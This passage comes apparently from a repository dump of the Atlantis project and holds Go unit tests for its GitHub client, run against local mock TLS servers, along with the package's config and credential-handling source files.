http.DefaultTransport.(*http.Transport).TLSClientConfig\n\t// nolint: gosec\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\treturn func() {\n\t\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = orig\n\t}\n}\n\nfunc TestClient_SplitComments(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttype githubComment struct {\n\t\tBody string `json:\"body\"`\n\t}\n\tgithubComments := make([]githubComment, 0, 1)\n\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\t\tswitch r.Method + \" \" + r.RequestURI {\n\t\t\tcase \"POST /api/v3/repos/runatlantis/atlantis/issues/1/comments\":\n\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"read body error: %v\", err)\n\t\t\t\t\thttp.Error(w, \"server error\", http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\trequestBody := githubComment{}\n\t\t\t\terr = json.Unmarshal(body, &requestBody)\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"parse body error: %v\", err)\n\t\t\t\t\thttp.Error(w, \"server error\", http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tgithubComments = append(githubComments, requestBody)\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\tpull := models.PullRequest{Num: 1}\n\trepo := models.Repo{\n\t\tFullName:          \"runatlantis/atlantis\",\n\t\tOwner:             \"runatlantis\",\n\t\tName:              \"atlantis\",\n\t\tCloneURL:          \"\",\n\t\tSanitizedCloneURL: \"\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tType:     models.Github,\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\t// create an extra long string\n\tcomment := strings.Repeat(\"a\", 65537)\n\terr = client.CreateComment(logger, repo, pull.Num, comment, command.Plan.String())\n\tOk(t, err)\n\terr = client.CreateComment(logger, repo, pull.Num, comment, \"\")\n\tOk(t, err)\n\n\tbody := strings.Split(githubComments[1].Body, \"\\n\")\n\tfirstSplit := strings.ToLower(body[0])\n\tbody = strings.Split(githubComments[3].Body, \"\\n\")\n\tsecondSplit := strings.ToLower(body[0])\n\n\tEquals(t, 4, len(githubComments))\n\tAssert(t, strings.Contains(firstSplit, command.Plan.String()), fmt.Sprintf(\"comment should contain the command name but was %q\", firstSplit))\n\tAssert(t, strings.Contains(secondSplit, \"continued from previous comment\"), fmt.Sprintf(\"comment should contain no reference to the command name but was %q\", secondSplit))\n}\n\n// Test that we retry the get pull request call if it 404s.\nfunc TestClient_Retry404(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tvar numCalls = 0\n\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\t\tswitch r.Method + \" \" + r.RequestURI {\n\t\t\tcase \"GET /api/v3/repos/runatlantis/atlantis/pulls/1\":\n\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\tnumCalls++\n\t\t\t\tif numCalls < 3 {\n\t\t\t\t\tw.WriteHeader(404)\n\t\t\t\t} else {\n\t\t\t\t\tw.WriteHeader(200)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\trepo := models.Repo{\n\t\tFullName:          \"runatlantis/atlantis\",\n\t\tOwner:             \"runatlantis\",\n\t\tName:              \"atlantis\",\n\t\tCloneURL:          \"\",\n\t\tSanitizedCloneURL: \"\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tType:     models.Github,\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\t_, err = client.GetPullRequest(logger, repo, 1)\n\tOk(t, err)\n\tEquals(t, 3, numCalls)\n}\n\n// Test that we retry the get pull request files call if it 404s.\nfunc TestClient_Retry404Files(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tvar numCalls = 0\n\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\t\tswitch r.Method + \" \" + r.RequestURI {\n\t\t\tcase \"GET /api/v3/repos/runatlantis/atlantis/pulls/1/files?per_page=300\":\n\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\tnumCalls++\n\t\t\t\tif numCalls < 3 {\n\t\t\t\t\tw.WriteHeader(404)\n\t\t\t\t} else {\n\t\t\t\t\tw.WriteHeader(200)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\trepo := models.Repo{\n\t\tFullName:          \"runatlantis/atlantis\",\n\t\tOwner:             \"runatlantis\",\n\t\tName:              \"atlantis\",\n\t\tCloneURL:          \"\",\n\t\tSanitizedCloneURL: \"\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tType:     models.Github,\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\tpr := models.PullRequest{Num: 1}\n\t_, err = client.GetModifiedFiles(logger, repo, pr)\n\tOk(t, err)\n\tEquals(t, 3, numCalls)\n}\n\n// GetTeamNamesForUser returns a list of team names for a user.\nfunc TestClient_GetTeamNamesForUser(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\t// Mocked GraphQL response for two teams\n\tresp := `{\n\t\t\"data\":{\n\t\t  \"organization\": {\n\t\t\t\"teams\":{\n\t\t\t\t\"edges\":[\n\t\t\t\t\t{\"node\":{\"name\": \"Frontend Developers\", \"slug\":\"frontend-developers\"}},\n\t\t\t\t\t{\"node\":{\"name\": \"Employees\", \"slug\":\"employees\"}}\n\t\t\t\t],\n\t\t\t\t\"pageInfo\":{\n\t\t\t\t\t\"endCursor\":\"Y3Vyc29yOnYyOpHOAFMoLQ==\",\n\t\t\t\t\t\"hasNextPage\":false\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t  }\n\t}`\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/graphql\":\n\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logger)\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tteams, err := client.GetTeamNamesForUser(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tOwner: \"testrepo\",\n\t\t}, models.User{\n\t\t\tUsername: \"testuser\",\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"frontend-developers\", \"employees\"}, teams)\n}\n\nfunc TestClient_DiscardReviews(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttype ResponseDef struct {\n\t\thttpCode int\n\t\tbody     string\n\t}\n\ttype fields struct {\n\t\tresponses []ResponseDef\n\t}\n\ttype args struct {\n\t\trepo models.Repo\n\t\tpull models.PullRequest\n\t}\n\n\tqueryResponseSingleReview := `{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": \"APPROVED\",\n        \"reviews\": {\n          \"nodes\": [\n            {\n              \"id\": \"PRR_kwDOFxULt85HBb7A\",\n              \"submittedAt\": \"2022-11-23T12:28:30Z\",\n              \"author\": {\n                \"login\": \"atlantis-test\"\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}`\n\tqueryResponseMultipleReviews := `{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": \"APPROVED\",\n        \"reviews\": {\n          \"nodes\": [\n            {\n              \"id\": \"PRR_kwDOFxULt85HBb7A\",\n              \"submittedAt\": \"2022-11-23T12:28:30Z\",\n              \"author\": {\n                \"login\": \"atlantis-test\"\n              }\n            },\n            {\n              \"id\": \"PRR_kwDOFxULt85HBb7B\",\n              \"submittedAt\": \"2022-11-23T14:28:30Z\",\n              \"author\": {\n                \"login\": \"atlantis-test2\"\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}`\n\tmutationResponseSingleReviewDismissal := `{\n  \"data\": {\n    \"dismissPullRequestReview\": {\n      \"pullRequestReview\": {\n        \"id\": \"PRR_kwDOFxULt85HBb7A\"\n      }\n    }\n  }\n}`\n\ttests := []struct {\n\t\tname    string\n\t\tfields  fields\n\t\targs    args\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"return no error if dismissing a single approval\",\n\t\t\tfields: fields{\n\t\t\t\tresponses: []ResponseDef{\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     queryResponseSingleReview,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     mutationResponseSingleReviewDismissal,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\targs:    args{},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname: \"return no error if dismissing multiple reviews\",\n\t\t\tfields: fields{\n\t\t\t\tresponses: []ResponseDef{\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     queryResponseMultipleReviews,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     mutationResponseSingleReviewDismissal,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     mutationResponseSingleReviewDismissal,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\targs:    args{},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname: \"return error if query fails\",\n\t\t\tfields: fields{\n\t\t\t\tresponses: []ResponseDef{\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 500,\n\t\t\t\t\t\tbody:     \"\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\targs:    args{},\n\t\t\twantErr: true,\n\t\t},\n\t\t{\n\t\t\tname: \"return error if mutating fails\",\n\t\t\tfields: fields{\n\t\t\t\tresponses: []ResponseDef{\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     queryResponseSingleReview,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 500,\n\t\t\t\t\t\tbody:     \"\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\targs:    args{},\n\t\t\twantErr: true,\n\t\t},\n\t\t{\n\t\t\tname: \"return error if dismissing fails after already dismissing one\",\n\t\t\tfields: fields{\n\t\t\t\tresponses: []ResponseDef{\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     queryResponseMultipleReviews,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 200,\n\t\t\t\t\t\tbody:     mutationResponseSingleReviewDismissal,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\thttpCode: 500,\n\t\t\t\t\t\tbody:     \"\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\targs:    args{},\n\t\t\twantErr: true,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// Mocked GraphQL response for two teams\n\t\t\tresponseIndex := 0\n\t\t\tresponseLength := len(tt.fields.responses)\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tif r.RequestURI != \"/api/graphql\" {\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tAssert(t, responseIndex < responseLength, \"requesting more responses than are defined\")\n\t\t\t\t\tresponse := tt.fields.responses[responseIndex]\n\t\t\t\t\tresponseIndex++\n\t\t\t\t\tw.WriteHeader(response.httpCode)\n\t\t\t\t\tw.Write([]byte(response.body)) // nolint: errcheck\n\t\t\t\t}))\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logging.NewNoopLogger(t))\n\t\t\tOk(t, err)\n\t\t\tdefer disableSSLVerification()()\n\t\t\tif err := client.DiscardReviews(logger, tt.args.repo, tt.args.pull); (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"DiscardReviews() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t}\n\t\t\tEquals(t, responseLength, responseIndex) // check if all defined requests have been used\n\t\t})\n\t}\n}\n\nfunc TestClient_GetPullLabels(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tresp := `{\n\t  \"url\": \"https://api.github.com/repos/runatlantis/atlantis/pulls/1\",\n\t  \"id\": 167530667,\n\t  \"merge_commit_sha\": \"3fe6aa34bc25ac3720e639fcad41b428e83bdb37\",\n\t  \"labels\": [\n\t\t{\n\t\t  \"id\": 1303230720,\n\t\t  \"node_id\": \"MDU6TGFiZWwxMzAzMjMwNzIw\",\n\t\t  \"url\": \"https://api.github.com/repos/runatlantis/atlantis/labels/docs\",\n\t\t  \"name\": \"docs\",\n\t\t  \"color\": \"d87165\",\n\t\t  \"default\": false,\n\t\t  \"description\": \"Documentation\"\n\t\t},\n\t\t{\n\t\t  \"id\": 2552271640,\n\t\t  \"node_id\": \"MDU6TGFiZWwyNTUyMjcxNjQw\",\n\t\t  \"url\": \"https://api.github.com/repos/runatlantis/atlantis/labels/go\",\n\t\t  \"name\": \"go\",\n\t\t  \"color\": \"16e2e2\",\n\t\t  \"default\": false,\n\t\t  \"description\": \"Pull requests that update Go code\"\n\t\t},\n\t\t{\n\t\t  \"id\": 2696098981,\n\t\t  \"node_id\": \"MDU6TGFiZWwyNjk2MDk4OTgx\",\n\t\t  \"url\": \"https://api.github.com/repos/runatlantis/atlantis/labels/needs%20tests\",\n\t\t  \"name\": \"needs tests\",\n\t\t  \"color\": \"FBB1DE\",\n\t\t  \"default\": false,\n\t\t  \"description\": \"Change requires tests\"\n\t\t},\n\t\t{\n\t\t  \"id\": 4439792681,\n\t\t  \"node_id\": \"LA_kwDOBy76Zc8AAAABCKHcKQ\",\n\t\t  \"url\": \"https://api.github.com/repos/runatlantis/atlantis/labels/work-in-progress\",\n\t\t  \"name\": \"work-in-progress\",\n\t\t  \"color\": \"B1E20A\",\n\t\t  \"default\": false,\n\t\t  \"description\": \"\"\n\t\t}\n\t  ]\n\t}`\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v3/repos/runatlantis/atlantis/pulls/1\":\n\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logger)\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tlabels, err := client.GetPullLabels(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tOwner: \"runatlantis\",\n\t\t\tName:  \"atlantis\",\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"docs\", \"go\", \"needs tests\", \"work-in-progress\"}, labels)\n}\n\nfunc TestClient_GetPullLabels_EmptyResponse(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tresp := `{\n\t  \"url\": \"https://api.github.com/repos/runatlantis/atlantis/pulls/1\",\n\t  \"id\": 167530667,\n\t  \"merge_commit_sha\": \"3fe6aa34bc25ac3720e639fcad41b428e83bdb37\",\n\t  \"labels\": []\n\t}`\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v3/repos/runatlantis/atlantis/pulls/1\":\n\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{\"user\", \"pass\", \"\"}, github.Config{}, 0, logger)\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\tlabels, err := client.GetPullLabels(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tOwner: \"runatlantis\",\n\t\t\tName:  \"atlantis\",\n\t\t},\n\t\tmodels.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, 0, len(labels))\n}\n\nfunc TestClient_SecondaryRateLimitHandling_CreateComment(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcalls := 0\n\tmaxCalls := 2\n\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tif r.Method != http.MethodPost || r.URL.Path != \"/api/v3/repos/owner/repo/issues/1/comments\" {\n\t\t\t\tt.Errorf(\"Unexpected request: %s %s\", r.Method, r.URL.Path)\n\t\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif calls < maxCalls {\n\t\t\t\t// Secondary rate limiting, x-ratelimit-remaining must be > 0\n\t\t\t\tw.Header().Set(\"x-ratelimit-remaining\", \"1\")\n\t\t\t\tw.Header().Set(\"x-ratelimit-reset\", fmt.Sprintf(\"%d\", time.Now().Unix()+1))\n\t\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\t\tw.Write([]byte(`{\"message\": \"You have exceeded a secondary rate limit\"}`)) // nolint: errcheck\n\t\t\t} else {\n\t\t\t\tw.WriteHeader(http.StatusCreated)\n\t\t\t\tw.Write([]byte(`{\"id\": 1, \"body\": \"Test comment\"}`)) // nolint: errcheck\n\t\t\t}\n\t\t\tcalls++\n\t\t}),\n\t)\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\n\tclient, err := github.New(testServerURL.Host, &github.UserCredentials{User: \"user\", Token: \"pass\"}, github.Config{}, 0, logger)\n\tOk(t, err)\n\tdefer disableSSLVerification()()\n\n\t// Simulate creating a comment\n\trepo := models.Repo{\n\t\tFullName: \"owner/repo\",\n\t\tOwner:    \"owner\",\n\t\tName:     \"repo\",\n\t}\n\tpullNum := 1\n\tcomment := \"Test comment\"\n\n\terr = client.CreateComment(logger, repo, pullNum, comment, \"\")\n\tOk(t, err)\n\n\t// Verify that the number of calls is greater than maxCalls, indicating that retries occurred\n\tAssert(t, calls > maxCalls, \"Expected more than %d calls due to rate limiting, but got %d\", maxCalls, calls)\n\n}\n"
  },
  {
    "path": "server/events/vcs/github/config.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage github\n\n// GithubConfig allows for custom github-specific functionality and behavior\ntype Config struct {\n\tAllowMergeableBypassApply bool\n}\n"
  },
  {
    "path": "server/events/vcs/github/credentials.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage github\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/bradleyfalzon/ghinstallation/v2\"\n\t\"github.com/google/go-github/v83/github\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_credentials.go Credentials\n\n// GithubCredentials handles creating http.Clients that authenticate.\ntype Credentials interface {\n\tClient() (*http.Client, error)\n\tGetToken() (string, error)\n\tGetUser() (string, error)\n}\n\n// GithubAnonymousCredentials expose no credentials.\ntype AnonymousCredentials struct{}\n\n// Client returns a client with no credentials.\nfunc (c *AnonymousCredentials) Client() (*http.Client, error) {\n\ttr := http.DefaultTransport\n\treturn &http.Client{Transport: tr}, nil\n}\n\n// GetUser returns the username for these credentials.\nfunc (c *AnonymousCredentials) GetUser() (string, error) {\n\treturn \"anonymous\", nil\n}\n\n// GetToken returns an empty token.\nfunc (c *AnonymousCredentials) GetToken() (string, error) {\n\treturn \"\", nil\n}\n\n// GithubUserCredentials implements GithubCredentials for the personal auth token flow.\ntype UserCredentials struct {\n\tUser      string\n\tToken     string\n\tTokenFile string\n}\n\ntype UserTransport struct {\n\tCredentials *UserCredentials\n\tTransport   *github.BasicAuthTransport\n}\n\nfunc (t *UserTransport) RoundTrip(req *http.Request) (*http.Response, error) {\n\t// update token\n\ttoken, err := t.Credentials.GetToken()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tt.Transport.Password = token\n\n\t// defer to the underlying transport\n\treturn t.Transport.RoundTrip(req)\n}\n\n// Client returns a client for basic auth user credentials.\nfunc (c *UserCredentials) Client() (*http.Client, error) {\n\tpassword, err := c.GetToken()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclient := &http.Client{\n\t\tTransport: &UserTransport{\n\t\t\tCredentials: c,\n\t\t\tTransport: &github.BasicAuthTransport{\n\t\t\t\tUsername: strings.TrimSpace(c.User),\n\t\t\t\tPassword: strings.TrimSpace(password),\n\t\t\t},\n\t\t},\n\t}\n\treturn client, nil\n}\n\n// GetUser returns the username for these credentials.\nfunc (c *UserCredentials) GetUser() (string, error) {\n\treturn c.User, nil\n}\n\n// GetToken returns the user token.\nfunc (c *UserCredentials) GetToken() (string, error) {\n\tif c.TokenFile != \"\" {\n\t\tcontent, err := os.ReadFile(c.TokenFile)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed reading github token file: %w\", err)\n\t\t}\n\n\t\treturn string(content), nil\n\t}\n\n\treturn c.Token, nil\n}\n\n// GithubAppCredentials implements GithubCredentials for github app installation token flow.\ntype AppCredentials struct {\n\tAppID          int64\n\tKey            []byte\n\tHostname       string\n\tapiURL         *url.URL\n\tInstallationID int64\n\ttr             *ghinstallation.Transport\n\tAppSlug        string\n}\n\n// Client returns a github app installation client.\nfunc (c *AppCredentials) Client() (*http.Client, error) {\n\titr, err := c.transport()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &http.Client{Transport: itr}, nil\n}\n\n// GetUser returns the username for these credentials.\nfunc (c *AppCredentials) GetUser() (string, error) {\n\t// Keeping backwards compatibility since this flag is optional\n\tif c.AppSlug == \"\" {\n\t\treturn \"\", nil\n\t}\n\tclient, err := c.Client()\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"initializing client: %w\", err)\n\t}\n\n\tghClient := github.NewClient(client)\n\tghClient.BaseURL = c.getAPIURL()\n\tctx := context.Background()\n\n\tapp, _, err := ghClient.Apps.Get(ctx, c.AppSlug)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"getting app details: %w\", err)\n\t}\n\t// Currently there is no way to get the bot's login info, so this is a\n\t// hack until Github exposes that.\n\treturn fmt.Sprintf(\"%s[bot]\", app.GetSlug()), nil\n}\n\n// GetToken returns a fresh installation token.\nfunc (c *AppCredentials) GetToken() (string, error) {\n\ttr, err := c.transport()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"transport failed: %w\", err)\n\t}\n\n\treturn tr.Token(context.Background())\n}\n\nfunc (c *AppCredentials) getInstallationID() (int64, error) {\n\tif c.InstallationID != 0 {\n\t\treturn c.InstallationID, nil\n\t}\n\n\ttr := http.DefaultTransport\n\t// A non-installation transport\n\tt, err := ghinstallation.NewAppsTransport(tr, c.AppID, c.Key)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tt.BaseURL = c.getAPIURL().String()\n\n\t// Query github with the app's JWT\n\tclient := github.NewClient(&http.Client{Transport: t})\n\tclient.BaseURL = c.getAPIURL()\n\tctx := context.Background()\n\n\tinstallations, _, err := client.Apps.ListInstallations(ctx, nil)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif len(installations) != 1 {\n\t\treturn 0, fmt.Errorf(\"wrong number of installations, expected 1, found %d\", len(installations))\n\t}\n\n\tc.InstallationID = installations[0].GetID()\n\treturn c.InstallationID, nil\n}\n\nfunc (c *AppCredentials) transport() (*ghinstallation.Transport, error) {\n\tif c.tr != nil {\n\t\treturn c.tr, nil\n\t}\n\n\tinstallationID, err := c.getInstallationID()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttr := http.DefaultTransport\n\titr, err := ghinstallation.New(tr, c.AppID, installationID, c.Key)\n\tif err == nil {\n\t\tapiURL := c.getAPIURL()\n\t\titr.BaseURL = strings.TrimSuffix(apiURL.String(), \"/\")\n\t\tc.tr = itr\n\t}\n\treturn itr, err\n}\n\nfunc (c *AppCredentials) getAPIURL() *url.URL {\n\tif c.apiURL != nil {\n\t\treturn c.apiURL\n\t}\n\n\tc.apiURL = resolveGithubAPIURL(c.Hostname)\n\treturn c.apiURL\n}\n\nfunc resolveGithubAPIURL(hostname string) *url.URL {\n\t// If we're using github.com then we don't need to do any additional configuration\n\t// for the client. It we're using Github Enterprise, then we need to manually\n\t// set the base url for the API.\n\tbaseURL := &url.URL{\n\t\tScheme: \"https\",\n\t\tHost:   \"api.github.com\",\n\t\tPath:   \"/\",\n\t}\n\n\tif hostname != \"github.com\" {\n\t\tbaseURL.Host = hostname\n\t\tbaseURL.Path = \"/api/v3/\"\n\t}\n\n\treturn baseURL\n}\n"
  },
  {
    "path": "server/events/vcs/github/credentials_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage github_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestClient_GetUser_AppSlug(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tdefer disableSSLVerification()()\n\ttestServer, err := testdata.GithubAppTestServer(t)\n\tOk(t, err)\n\n\tanonCreds := &github.AnonymousCredentials{}\n\tanonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\ttempSecrets, err := anonClient.ExchangeCode(logger, \"good-code\")\n\tOk(t, err)\n\n\tappCreds := &github.AppCredentials{\n\t\tAppID:    tempSecrets.ID,\n\t\tKey:      []byte(testdata.PrivateKey),\n\t\tHostname: testServer,\n\t\tAppSlug:  \"some-app\",\n\t}\n\n\tuser, err := appCreds.GetUser()\n\tOk(t, err)\n\n\tAssert(t, user == \"octoapp[bot]\", \"user should not be empty\")\n}\n\nfunc TestClient_AppAuthentication(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tdefer disableSSLVerification()()\n\ttestServer, err := testdata.GithubAppTestServer(t)\n\tOk(t, err)\n\n\tanonCreds := &github.AnonymousCredentials{}\n\tanonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\ttempSecrets, err := anonClient.ExchangeCode(logger, \"good-code\")\n\tOk(t, err)\n\n\tappCreds := 